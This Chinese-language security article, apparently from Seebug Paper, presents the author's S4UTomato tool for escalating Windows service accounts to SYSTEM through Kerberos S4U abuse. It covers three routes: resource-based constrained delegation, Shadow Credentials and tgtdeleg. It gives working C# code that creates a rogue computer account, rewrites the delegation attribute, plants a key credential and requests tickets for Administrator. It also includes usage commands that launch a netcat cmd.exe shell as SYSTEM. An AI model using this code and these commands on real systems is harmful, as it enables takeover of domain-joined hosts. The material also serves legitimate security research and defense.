作者:WHOAMI@XIAORANG.LAB
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org
Traditional Potatoes
熟悉 “Potato” 系列提權的朋友應該知道,它可以將服務賬戶權限提升至本地系統權限。“Potato” 早期的利用思路幾乎都是相同的:利用 COM 接口的一些特性,欺騙 NT AUTHORITY\SYSTEM 賬戶連接并驗證到攻擊者控制的 RPC 服務器。然后通過一系列 API 調用對這個認證過程執行中間人(NTLM Relay)攻擊,并為 NT AUTHORITY\SYSTEM 賬戶在本地生成一個訪問令牌。最后竊取這個令牌,并使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函數傳入令牌創建新進程,以獲取 SYSTEM 權限。
How About Kerberos
在 Windows 域環境中,SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虛擬帳戶都被用作加入域的系統計算機帳戶進行身份驗證。理解這一點非常重要,因為在現代 Windows 版本中,大多數 Windows 服務默認使用 Microsoft 虛擬帳戶運行。其中最值得注意的是 IIS 和 MSSQL,但我相信還有其他應用也在使用這些虛擬帳戶。因此,我們可以濫用 S4U 擴展,獲取到域管理員賬戶 Administrator 針對本地計算機的服務票據,然后借助 James Forshaw(@tiraniddo)的 SCMUACBypass 使用該票據創建系統服務,以獲取 SYSTEM 權限。這可以達到與傳統的 “Potato” 家族提權方法相同的效果。
在任何機器加入域的情況下,只要能夠以 Windows 服務賬戶或 Microsoft 虛擬帳戶的身份運行代碼,你都可以利用上述技巧進行本地特權提升,前提是 Active Directory 沒有被加固以完全防范上述攻擊。
在此之前,我們需要獲得本地計算機賬戶的 TGT。這并不容易,由于服務賬戶權限的限制,我們無法獲取計算機的 Long-term Key,也就無法構造 KRB_AS_REQ 請求。因此,為了達到上述目的,我借助了基于資源的約束委派、Shadow Credentials 和 Tgtdeleg 三個技巧,并基于 Rubeus 工具集構建了我的項目:S4UTomato。
S4U
S4U 指定 Kerberos 協議擴展:用戶服務和約束委派協議,這是 Microsoft 在其 [MS-SFU]: Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol 協議中為 Kerberos 協議開發的擴展協議。S4U 提供了兩個擴展 S4U2self 和 S4U2proxy,使應用程序服務能夠代表用戶獲取 Kerberos 服務票證。
總的來說,這兩個擴展使應用程序服務能夠代表用戶獲取 Kerberos 服務票證。 生成的服務票可用于:
- 請求服務自己的信息。
- 服務機器的本地訪問控制,模擬用戶。
- 代表用戶請求其他服務。
S4U2self
S4U2self(Service for User to Self) 擴展允許服務代表用戶獲取其自身的 Kerberos 服務票證。這使得服務能夠獲取用戶的授權數據,然后將其用于本地服務中的授權決策。KDC 使用用戶名和領域來識別用戶。或者,可以基于用戶的證書來識別用戶。Kerberos 票證授予服務的 KRB_TGS_REQ 和 KRB_TGS_REP 消息兩個新數據結構之一一起使用。 當 KDC 通過用戶名和領域名稱識別用戶時,將使用新的 PA-FOR-USER 數據結構。 另一種結構 PA-S4U-X509-USER 在將用戶證書提交給 KDC 以獲得授權信息時使用。通過代表用戶獲取自身的服務票證,服務可以接收到票證中的用戶授權數據。
S4U2self 擴展旨在當用戶以 Kerberos 以外的其他方式對服務進行身份驗證時使用。例如,用戶可以通過 Web 服務器私有的某種方式向 Web 服務器進行身份驗證。然后,Web 服務器可以使用 S4U2self 獲取帶有授權數據的票證,就像用戶最初使用 Kerberos 一樣。所有決策路徑的行為就像使用 Kerberos 一樣,這簡化了服務器的授權決策。
S4U2proxy
S4U2proxy(Service for User to Proxy)擴展使服務能夠代表用戶獲取第二個后端服務的服務票證,此功能稱為約束委派。這允許后端服務使用 Kerberos 用戶憑據,就好像用戶已獲取服務票證并將其直接發送到后端服務一樣。票證授予服務(TGS)上的本地策略可用于限制 S4U2proxy 擴展的范圍。Kerberos 票證授予服務的 KRB_TGS_REQ 和 KRB_TGS_REP 消息與新的 CNAME-IN-ADDL-TKT 和 S4U_DELEGATION_INFO 數據結構一起使用。 第二服務通常是代表第一服務執行某些工作的代理,并且代理在用戶的授權上下文中執行該工作。
S4U2proxy 擴展要求第一個服務的服務票證設置了可轉發標志(Forwardable)。這張票據可以通過 S4U2self 協議交換獲得。
使用 S4U2proxy 委派和轉發 TGT 委派機制時,當服務器模擬客戶端并在遠程服務器上執行操作(例如 ldap_bind() 或 RPC_bind())時,會調用委派。Kerberos SSP 首先會通過檢查本地票據緩存中是否有 forwarded-TGT,來檢測 forwarded-TGT 委托機制是否可用;如果沒有 forwarded-TGT,Kerberos SSP 將嘗試執行 S4U2proxy 委派。
Resource-Based Constrained Delegation (RBCD)
基于資源的約束委派(Resource-Based Constrained Delegation,RBCD)是在 Windows Server 2012 中新引入的功能,與傳統的約束委派相比,它不再需要擁有 SeEnableDelegationPrivilege 特權的域管理員去設置相關屬性,并且將設置委派的權限交換給了服務資源自身,即服務自己可以決定誰可以對我進行委派。
這里就用到了 S4U2self 和 S4U2proxy 兩個擴展。下圖可以表示(基于資源的)約束委派的執行流程。

S4U2self 的描述如上圖上半部分所示。 使用此擴展,服務會收到服務本身的服務票證(該票證不能在其他地方使用)。上圖描述了以下協議步驟:
- 用戶機器向 Service 1 發出請求,用戶通過了認證,但 Service 1 沒有用戶的授權數據。通常,這是由于身份驗證是通過 Kerberos 之外的某些方式執行的。
- Service 1 已通過 KDC 進行身份驗證并獲得其自身的 TGT,它通過 S4U2self 擴展代表指定用戶向其自身請求服務票證。用戶由 S4U2self 數據中的用戶名和用戶領域名來標識。或者,如果 Service 1 擁有用戶的證書,則它可以使用該證書通過
PA-S4U-X509-USER結構向 KDC 識別用戶。 - KDC 返回一個尋址到 Service 1 的服務票據,就像用戶使用用戶自己的 TGT 請求的一樣。服務票證可能包含用戶的授權數據。
- Service 1 可以使用服務票據中的授權數據來滿足用戶的請求。然后該服務響應用戶。盡管 S4U2self 向 Service 1 提供有關用戶的信息,但此擴展不允許 Service 1 代表用戶向其他服務發出請求。這就到了 S4U2proxy 發揮作用的時間了。S4U2proxy 的描述如上圖下半部分所示。
- 用戶機器向 Service 1 發出請求,Service 1 需要以用戶身份訪問 Service 2 上的資源。 但是, Service 1 沒有來自用戶轉發來的 TGT(forwarded-TGT)以通過轉發 TGT 執行委派。此步驟適用兩個先決條件。首先,Service 1 已通過 KDC 進行身份驗證并擁有有效的 TGT。其次,服務 1 具有從用戶到 Service 1 的可轉發服務票證。此可轉發服務票證可能已通過 KRB_AP_REQ 消息或通過 S4U2self 請求獲取。
- Service 1 代表指定用戶向服務 2 請求服務票證。通過 Service 1 的服務票證中的客戶端名稱和客戶端領域進行標識用戶。要返回的票證中的授權數據也從服務票證中復制。
- 如果請求中包含特權屬性證書(PAC),則 KDC 通過檢查 PAC 結構的簽名數據來驗證 PAC。如果 PAC 有效或不存在,KDC 將返回 Service 2 的服務票證,但存儲在服務票證的 cname 和 crealm 字段中的客戶端身份是用戶的身份,而不是 Service 1 的身份。
- Service 1 使用服務票證向 Service 2 發出請求。Service 2 將此請求視為來自用戶,并假設該用戶已通過 KDC 進行身份驗證。
- Service 2 響應請求。
- Service 1 響應消息 5 中的用戶請求。
在 RBCD 中,需要在 Service 2 上將 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性值設為 Service 1 的 SID,以允許 Service 1 對 Service 2 上的服務進行委派。由于計算機帳戶對自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性有 WriteProperty 權限,因此可以通過設置該屬性執行 RBCD 提權。
我們首先需要以計算機賬戶的身份連接到 LDAP,并創建一個新的計算機對象,可以借助 Windows .NET API 提供的 System.DirectoryServices.Protocols.LdapConnection 和 System.DirectoryServices.Protocols.AddRequest 接口完成該操作。
// ...
LdapDirectoryIdentifier identifier = new LdapDirectoryIdentifier(domainController, port);
LdapConnection connection = new LdapConnection(identifier);
// ...
AddRequest addRequest = new AddRequest(NewComputersDN, new DirectoryAttribute[] {
new DirectoryAttribute("DnsHostName", computerName + "." + domain),
new DirectoryAttribute("SamAccountName", computerName + "$"),
new DirectoryAttribute("userAccountControl", "4096"),
new DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + computerPassword + "\"")),
new DirectoryAttribute("objectClass", "Computer"),
new DirectoryAttribute("ServicePrincipalName", "HOST/" + computerName + "." + domain, "RestrictedKrbHost/" + computerName + "." + domain, "HOST/" + computerName, "RestrictedKrbHost/" + computerName)
});
try
{
connection.SendRequest(addRequest);
Console.WriteLine($"[*] Computer account {computerName}$ added with password {computerPassword}.");
}
catch (Exception ex)
{
// ...
}
然后通過一個查詢請求,獲取新添加的計算機對象的 SID 并返回,并通過 System.DirectoryServices.Protocols.ModifyRequest 接口將新計算機賬戶的 SID 添加到目標計算機賬戶(也就是當前計算機賬戶)的 msDS-AllowedToActOnBehalfOfOtherIdentity 屬性中,以設置從新機器帳戶到目標計算機帳戶的基于資源的約束委派,如下所示。
entry = Ldap.LocateAccount(computerName + "$", domain, domainController);
if (entry != null)
{
try
{
securityIdentifier = new SecurityIdentifier(entry.Properties["objectSid"][0] as byte[], 0);
Console.WriteLine($"[*] Sid of the new computer account: {securityIdentifier.Value}");
}
catch
{
Console.WriteLine("[-] Can not retrieve the sid");
}
}
// ...
string nTSecurityDescriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + securityIdentifier + ")";
RawSecurityDescriptor rawSecurityIdentifier = new RawSecurityDescriptor(nTSecurityDescriptor);
byte[] descriptorBuffer = new byte[rawSecurityIdentifier.BinaryLength];
rawSecurityIdentifier.GetBinaryForm(descriptorBuffer, 0);
ModifyRequest modifyRequest = new ModifyRequest(TargetComputerDN, DirectoryAttributeOperation.Replace, "msDS-AllowedToActOnBehalfOfOtherIdentity", descriptorBuffer);
try
{
ModifyResponse modifyResponse = (ModifyResponse)connection.SendRequest(modifyRequest);
Console.WriteLine($"[*] {computerName}$ can now impersonate users on {TargetComputerDN} via S4U2Proxy");
}
catch
{
Console.WriteLine("[-] Could not modify attribute msDS-AllowedToActOnBehalfOfOtherIdentity, check that your user has sufficient rights");
}
// ...
最后,調用 Rubeus 工具集提供的 S4U.Execute() 方法分別執行 S4U2self 和 S4U2proxy 過程,如下所示。這將代表域管理員用戶申請到針對當前計算機上 HOST 服務的票據,并將其提交到內存中。
// ...
S4U.Execute(computerName, domain, computerHash, encType, targetUser, targetSPN, ptt: true, domainController: domainController);
// ...
得到服務票據后,通過 SCMUACBypass 訪問 Service Control Manager(SCM)創建系統服務,從而獲取 SYSTEM 權限,執行效果如下所示。
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

Shadow Credentials
在 Black Hat Europe 2019 大會期間,Michael Grafnetter(@MGrafnetter)討論了針對 Windows Hello for Business 技術的多種攻擊方法,其中包括域持久化技術。該技術涉及修改目標計算機賬戶或用戶帳戶的 msDS-KeyCredentialLink 屬性,以獲得用于檢索 NTLM 哈希值和請求 TGT 票據。即使目標帳戶的密碼被修改后,該屬性也不會受到影響,因此,攻擊者可以使用該技術完美的實現域持久性。
與設置 msDS-AllowedToActOnBehalfOfOtherIdentity 相似,計算機賬戶對自身的 msDS-KeyCredentialLink 屬性擁有 WriteProperty 權限。我們可以在服務帳戶的上下文中連接到活動目錄,為當前計算機對象的 msDS-KeyCredentialLink 屬性寫入一個新的 Key Credential 以請求 TGT 票據,并最終通過 S4U2Self 提升至 SYSTEM 權限。
What is PKINIT ?
PKINIT 是 Kerberos 協議的擴展協議,允許在身份驗證階段使用數字證書。這種技術可以用智能卡或 USB 類型的身份驗證代替基于密碼的身份驗證。PKINIT 協議允許在 Kerberos 協議的初始(預)身份驗證交換中使用公鑰加密,通過使用公鑰加密來保護初始身份驗證,Kerberos 協議得到了顯著增強,并且可以與現有的公鑰身份驗證機制(例如智能卡)一起使用。
在傳統的 Kerberos 身份驗證中,客戶端必須在 KDC 為其提 TGT 票據之前執行 “預身份驗證”,該票證隨后可用于獲取服務票證。客戶端使用其憑據加密時間戳來執行預身份驗證,以向 KDC 證明他們擁有該帳戶的憑據。使用時間戳而不是靜態值有助于防止重放攻擊。
對稱密鑰方法是使用最廣泛和已知的一種方法,它使用從客戶端密碼派生的對稱密鑰(AKA 密鑰)。如果使用 RC4 加密,此密鑰將是客戶端密碼的哈希值。KDC 擁有客戶端密鑰的副本,并且可以解密預身份驗證的數據以對客戶端進行認證。KDC 使用相同的密鑰來加密與 TGT 一起發送給客戶端的會話密鑰。

PKINIT 是不太常見的非對稱密鑰方法。客戶端有一個公/私密鑰對,并用他們的私鑰對預驗證數據進行加密,KDC 用客戶端的公鑰對其進行解密。KDC 還有一個公/私密鑰對,允許使用以下兩種方法之一交換會話密鑰:
- Diffie-Hellman Key Delivery
該方法允許 KDC 和客戶端安全地建立共享會話密鑰,即使攻擊者擁有客戶端或 KDC 的私鑰。會話密鑰將存儲在 TGT 的加密部分,它是用 Krbtgt 帳戶的密鑰(哈希)加密的。
- Public Key Encryption Key Delivery
該方法使用 KDC 的私鑰和客戶端的公鑰來封裝由 KDC 生成的會話密鑰。
傳統上,公鑰基礎設施(PKI)允許 KDC 和客戶端使用由雙方先前已與證書頒發機構(CA)建立信任的實體簽署的數字證書以交換他們的公鑰。這是證書信任(Certificate Trust)模型,最常用于智能卡身份驗證。

Microsoft 還引入了密鑰信任(Key Trust)的概念,以在不支持 Certificate Trust 的環境中支持無密碼身份驗證。在 Key Trust 模型下,PKINIT 身份驗證是基于原始密鑰數據而不是證書建立的。
客戶端的公鑰存儲在一個名為 msDS-KeyCredentialLink 的多值屬性中,該屬性在 Windows Server 2016 中引入。該屬性的值是 Key Credentials,它是包含創建日期、所有者可分辨名稱等信息的序列化對象,一個代表設備 ID 的 GUID,當然還有公鑰。
當客戶端登錄時,Windows 會嘗試使用其私鑰執行 PKINIT 身份驗證。在 Key Trust 模型下,域控制器可以使用存儲在客戶端 msDS-KeyCredentialLink 屬性中的原始公鑰解密其預身份驗證數據。

這種信任模型消除了使用無密碼身份驗證必須為每個人頒發客戶端證書的需要。但是,域控制器仍需要用于會話密鑰交換的證書。
這意味著如果我們可以寫入用戶的 msDS-KeyCredentialLink 屬性,那么就可以獲得該用戶的 TGT。
下面,我們將基于 Rubeus 和 Michael Grafnetter(@MGrafnetter)的 DSInternals 庫實現這種技術。這將為當前計算機生成一個自簽名證書和 Key Credential,并將 Key Credential 信息存儲在當前計算機的 msDS-KeyCredentialLink 屬性中。生成的證書可以與 Rubeus 提供的 Ask.TGT() 方法一起使用,以請求 TGT 票據并進一步擴大攻擊。
首先,我們創建一個 GenerateSelfSignedCert() 方法,通過 System.Security.Cryptography.X509Certificates.CertificateRequest 類為當前計算機創建一個自簽名的 X509 證書。
private static X509Certificate2 GenerateSelfSignedCert(string cn)
{
// UseMachineKeyStore: https://stackoverflow.com/questions/1102884/rsacryptoserviceprovider-cryptographicexception-system-cannot-find-the-file-spec
CspParameters csp = new CspParameters(24, "Microsoft Enhanced RSA and AES Cryptographic Provider", Guid.NewGuid().ToString());
csp.Flags = CspProviderFlags.UseMachineKeyStore;
RSA rsa = new RSACryptoServiceProvider(2048, csp);
CertificateRequest req = new CertificateRequest(String.Format("cn={0}", cn), rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
X509Certificate2 cert = req.CreateSelfSigned(DateTimeOffset.Now, DateTimeOffset.Now.AddYears(1));
return cert;
}
在代碼中,我們使用了 CspParameters 類來配置 RSA 密鑰容器的參數,以及密鑰存儲的位置。然后,我們創建了一個 2048 位的 RSA 密鑰對,并將其用于創建一個 CertificateRequest 證書請求對象。最后,我們通過調用 CreateSelfSigned 方法,生成并返回證書。
然后,通過 DSInternals 庫提供的 KeyCredential 類,利用之前生成的自簽名證書(公鑰)、隨機生產的 GUID、當前計算機對象的 distinguishedName 屬性,以及當前日期時間,初始化一個 Key Credential 對象。。
X509Certificate2 cert = GenerateSelfSignedCert(targetComputer);
// ...
Guid guid = Guid.NewGuid();
KeyCredential keyCredential = new KeyCredential(cert, guid, targetObject.Properties["distinguishedName"][0].ToString(), DateTime.Now);
Console.WriteLine("[*] KeyCredential generated with DeviceID {0}", guid.ToString());
// ...
try
{
Console.WriteLine("[*] Updating the msDS-KeyCredentialLink attribute of the target object");
targetObject.Properties["msDS-KeyCredentialLink"].Add(keyCredential.ToDNWithBinary());
targetObject.CommitChanges();
Console.WriteLine("[+] Updated the msDS-KeyCredentialLink attribute of the target object");
}
catch (Exception e)
{
// ...
}
接著,將 X509 數字證書轉換為 PFX(PKCS#12)格式的字節數組,并使用給定的密碼保護該 PFX。然后,將 PFX 格式的證書字節數組轉換為 Base64 字符串,并傳遞到 Rubeus 提供的 Ask.TGT() 方法中,以請求 TGT 票據。
byte[] certBytes = cert.Export(X509ContentType.Pfx, password);
string certString = Convert.ToBase64String(certBytes);
// ...
// base64Certificate = certString
string targetUser = $"{domain}\\Administrator";
string targetSPN = "";
string altService = $"HOST/{Environment.MachineName}";
string outfile = "";
bool ptt = true;
bool self = true;
string keyString = "";
// ...
byte[] byteTgt = Ask.TGT(targetComputer, domain, base64Certificate, password, encType, "", ptt: true, domainController, luid, true, getCredentials: true);
最后,將返回的 TGT 字節數據轉換為 KRB_CRED 對象,并傳入 Rubeus 提供的 S4U.Execute 方法執行 S4U2self 過程,以代表域管理員用戶請求針對當前計算機上 HOST 服務的票據。
KRB_CRED kirbi = new KRB_CRED(byteTgt);
encType = Interop.KERB_ETYPE.subkey_keymaterial;
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);
請求到的服務票據將被提交到內存中,可以通過 SCMUACBypass 訪問 Service Control Manager(SCM)創建系統服務,從而獲取 SYSTEM 權限,執行效果如下所示。
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

Tgtdeleg
Benjamin Delpy(@gentilkiwi)在其 Kekeo 中加入了一個技巧(tgtdeleg),允許你濫用無約束委派來獲取一個帶有會話密鑰的本地 TGT。

Tgtdeleg 通過濫用 Kerberos GSS-API,以獲取當前用戶的可用 TGT,而無需在主機上獲取提升的權限。該方法使用 AcquireCredentialsHandle 函數獲取當前用戶的 Kerberos 安全憑據句柄,并使用 ISC_REQ_DELEGATE 標志和目標 SPN 為 HOST/DC.domain.com 調用 InitializeSecurityContext 函數,以準備發送給域控制器的偽委派上下文。這導致 GSS-API 輸出中的 KRB_AP-REQ 包含了在 Authenticator Checksum 中的 KRB_CRED。然后,從本地 Kerberos 緩存中提取服務票據的會話密鑰,并用它來解密 Authenticator 中的 KRB_CRED,從而獲得一個可用的 TGT。Rubeus 工具集種也融合了該技巧,具體細節請參考 “Rubeus – Now With More Kekeo”。
我們可以在服務賬戶的上下文中,利用 Rubeus 提供的 LSA.RequestFakeDelegTicket() 方法執行 tgtdeleg 技巧,以檢索計算機賬戶的 TGT 并保存在 blah 字節數組中,如下所示。
// ...
Console.WriteLine("[*] Action: Request Fake Delegation TGT (current user)");
byte[] blah = LSA.RequestFakeDelegTicket();
// ...
將返回的 TGT 字節數據轉換為 KRB_CRED 對象,并傳入 Rubeus 提供的 S4U.Execute 方法執行 S4U2self 過程,以代表域管理員用戶請求針對當前計算機上 HOST 服務的票據,并將請求到的服務票據將被提交到內存中。
string targetUser = $"{domain}\\Administrator";
string targetSPN = "";
string altService = $"HOST/{Environment.MachineName}";
string outfile = "";
bool ptt = true;
bool self = true;
string keyString = "";
// ...
KRB_CRED kirbi = new KRB_CRED(blah);
S4U.Execute(kirbi, targetUser, targetSPN, outfile, ptt, domainController, altService, null, null, null, self, false, false, keyString, encType);
最終通過 SCMUACBypass 訪問 Service Control Manager(SCM)創建系統服務,從而獲取 SYSTEM 權限,執行效果如下所示。
# 先通過 Tgtdeleg 檢索 TGT
S4UTomato.exe tgtdeleg
# 再執行 SCMUACBypass 獲取 SYSTEM 權限
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

參考鏈接
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a
- https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/3034/
暫無評論